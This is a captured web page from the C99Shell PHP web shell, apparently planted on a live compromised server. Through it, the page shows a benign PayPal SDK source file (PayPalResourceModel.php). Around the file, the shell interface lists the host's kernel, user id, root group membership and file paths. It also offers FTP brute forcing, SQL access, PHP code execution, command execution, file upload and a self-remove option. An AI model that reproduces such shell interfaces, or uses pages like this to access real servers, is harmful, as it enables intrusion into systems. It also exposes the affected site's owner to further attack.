!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/lib/PayPal/Common/   drwxr-xr-x
Free 23.55 GB of 117.98 GB (19.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalResourceModel.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PayPal\Common;

use 
PayPal\Rest\ApiContext;
use 
PayPal\Rest\IResource;
use 
PayPal\Transport\PayPalRestCall;

/**
 * Class PayPalResourceModel
 * An Executable PayPalModel Class
 *
 * @property \PayPal\Api\Links[] links
 * @package PayPal\Common
 */
class PayPalResourceModel extends PayPalModel implements IResource
{

    
/**
     * Sets Links
     *
     * @param \PayPal\Api\Links[] $links
     *
     * @return $this
     */
    
public function setLinks($links)
    {
        
$this->links $links;
        return 
$this;
    }

    
/**
     * Gets Links
     *
     * @return \PayPal\Api\Links[]
     */
    
public function getLinks()
    {
        return 
$this->links;
    }

    public function 
getLink($rel)
    {
        if (
is_array($this->links)) {
            foreach (
$this->links as $link) {
                if (
$link->getRel() == $rel) {
                    return 
$link->getHref();
                }
            }
        }
        return 
null;
    }

    
/**
     * Append Links to the list.
     *
     * @param \PayPal\Api\Links $links
     * @return $this
     */
    
public function addLink($links)
    {
        if (!
$this->getLinks()) {
            return 
$this->setLinks(array($links));
        } else {
            return 
$this->setLinks(
                
array_merge($this->getLinks(), array($links))
            );
        }
    }

    
/**
     * Remove Links from the list.
     *
     * @param \PayPal\Api\Links $links
     * @return $this
     */
    
public function removeLink($links)
    {
        return 
$this->setLinks(
            
array_diff($this->getLinks(), array($links))
        );
    }


    
/**
     * Execute SDK Call to Paypal services
     *
     * @param string      $url
     * @param string      $method
     * @param string      $payLoad
     * @param array $headers
     * @param ApiContext      $apiContext
     * @param PayPalRestCall      $restCall
     * @param array $handlers
     * @return string json response of the object
     */
    
protected static function executeCall($url$method$payLoad$headers = array(), $apiContext null$restCall null$handlers = array('PayPal\Handler\RestHandler'))
    {
        
//Initialize the context and rest call object if not provided explicitly
        
$apiContext $apiContext $apiContext : new ApiContext(self::$credential);
        
$restCall $restCall $restCall : new PayPalRestCall($apiContext);

        
//Make the execution call
        
$json $restCall->execute($handlers$url$method$payLoad$headers);
        return 
$json;
    }

    
/**
     * Updates Access Token using long lived refresh token
     *
     * @param string|null $refreshToken
     * @param ApiContext $apiContext
     * @return void
     */
    
public function updateAccessToken($refreshToken$apiContext)
    {
        
$apiContext $apiContext $apiContext : new ApiContext(self::$credential);
        
$apiContext->getCredential()->updateAccessToken($apiContext->getConfig(), $refreshToken);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--